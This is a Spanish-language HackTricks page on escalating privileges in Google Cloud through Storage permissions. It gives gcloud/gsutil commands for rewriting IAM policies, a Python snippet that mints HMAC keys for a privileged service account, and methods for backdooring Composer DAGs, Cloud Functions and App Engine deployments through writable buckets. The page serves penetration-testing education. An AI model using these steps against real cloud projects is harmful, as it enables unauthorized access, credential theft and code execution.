GCP - Storage Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Storage

Basic Information:

GCP - Storage Enum

storage.objects.get

Este permiso te permite descargar archivos almacenados dentro de Cloud Storage. Esto potencialmente te permitirá escalar privilegios porque en algunas ocasiones información sensible se guarda allí. Además, algunos servicios de GCP almacenan su información en buckets:

  • GCP Composer: Cuando creas un Composer Environment el código de todos los DAGs se guardará dentro de un bucket. Estas tareas pueden contener información interesante dentro de su código.
  • GCR (Container Registry): La imagen de los contenedores se almacena dentro de buckets, lo que significa que si puedes leer los buckets podrás descargar las imágenes y buscar leaks y/o código fuente.

storage.objects.setIamPolicy

Este permiso te permite abusar cualquiera de los escenarios previos de esta sección.

# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

storage.buckets.setIamPolicy

Para ver un ejemplo de cómo modificar permisos con este permiso, consulta esta página:

# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

La función “interoperability” de Cloud Storage, diseñada para interacciones entre nubes como con AWS S3, implica la creación de HMAC keys para Service Accounts y usuarios. Un atacante puede explotarlo generando un HMAC key para un Service Account con privilegios elevados, y de este modo escalar privilegios dentro de Cloud Storage. Si bien los HMAC keys asociados a usuarios solo son recuperables vía la consola web, tanto las access and secret keys permanecen permanentemente accesibles, lo que permite almacenar accesos de respaldo. En cambio, los HMAC keys vinculados a Service Accounts son accesibles por API, pero sus access and secret keys no son recuperables tras la creación, lo que añade una capa de complejidad para mantener acceso continuo.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Another exploit script for this method can be found here.

storage.objects.create, storage.objects.delete = Storage Write permissions

Para crear un nuevo objeto dentro de un bucket necesitas storage.objects.create y, según the docs, también necesitas storage.objects.delete para modificar un objeto existente.

Una explotación muy común de los buckets donde puedes escribir en la nube ocurre cuando el bucket almacena archivos del servidor web: podrías ser capaz de guardar nuevo código que será usado por la aplicación web.

Composer

Composer es Apache Airflow gestionado dentro de GCP. Tiene varias características interesantes:

  • Se ejecuta dentro de un GKE cluster, por lo que el SA que usa el cluster es accesible desde el código que se ejecuta en Composer.
  • Todos los componentes de un entorno de composer (code of DAGs, plugins y datos) se almacenan dentro de un bucket de GCP. Si el atacante tiene permisos de lectura y escritura sobre él, podría monitorizar el bucket y siempre que se cree o actualice un DAG, subir una versión con backdoor para que el entorno de composer obtenga desde el storage la versión comprometida.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs

Cloud Functions

  • El código de Cloud Functions se almacena en Storage y cada vez que se crea una nueva versión el código se sube al bucket y luego se construye el nuevo contenedor desde ese código. Por lo tanto, sobrescribir el código antes de que la nueva versión se construya permite que la cloud function ejecute código arbitrario.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions

App Engine

Las versiones de AppEngine generan datos dentro de un bucket con el formato: staging.<project-id>.appspot.com. Dentro de ese bucket es posible encontrar una carpeta llamada ae que contendrá una carpeta por cada versión de la app de AppEngine y dentro de esas carpetas podrás encontrar el archivo manifest.json. Este archivo contiene un json con todos los archivos que deben usarse para crear la versión específica. Además, es posible encontrar los nombres reales de los archivos, la URL a ellos dentro del bucket de GCP (los archivos dentro del bucket cambiaron su nombre por su hash sha1) y el hash sha1 de cada archivo.

Nota: no es posible un pre-takeover de este bucket porque los usuarios de GCP no están autorizados a generar buckets usando el dominio appspot.com.

Sin embargo, con acceso de lectura y escritura sobre este bucket, es posible escalar privilegios al SA asociado a la versión de App Engine monitorizando el bucket y, cada vez que se haga un cambio (nueva versión), modificar la nueva versión lo más rápido posible. De este modo, el contenedor creado a partir de ese código ejecutará el código con backdoor.

El ataque mencionado puede llevarse a cabo de muchas maneras diferentes, todas empiezan por monitorizar el bucket staging.<project-id>.appspot.com:

  • Subir el código completo de la nueva versión de AppEngine a un bucket diferente y disponible y preparar un manifest.json con el nuevo nombre del bucket y los hashes sha1 de los archivos. Luego, cuando se cree una nueva versión dentro del bucket, solo necesitas modificar el manifest.json y subir el malicioso.
  • Subir una versión modificada de requirements.txt que use dependencias maliciosas y actualizar el manifest.json con el nuevo nombre de archivo, la URL y su hash.
  • Subir un main.py o app.yaml modificado que ejecute el código malicioso y actualizar el manifest.json con el nuevo nombre de archivo, la URL y su hash.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-AppEngine

GCR

  • Google Container Registry almacena las imágenes dentro de buckets; si puedes escribir en esos buckets podrías ser capaz de moverte lateralmente hacia dónde se ejecutan esas imágenes.
  • El bucket usado por GCR tendrá una URL similar a gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (Los subdominios de nivel superior están especificados here).

Tip

Este servicio está obsoleto, por lo que este ataque ya no es útil. Además, Artifact Registry, el servicio que lo sustituye, no almacena las imágenes en buckets.

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks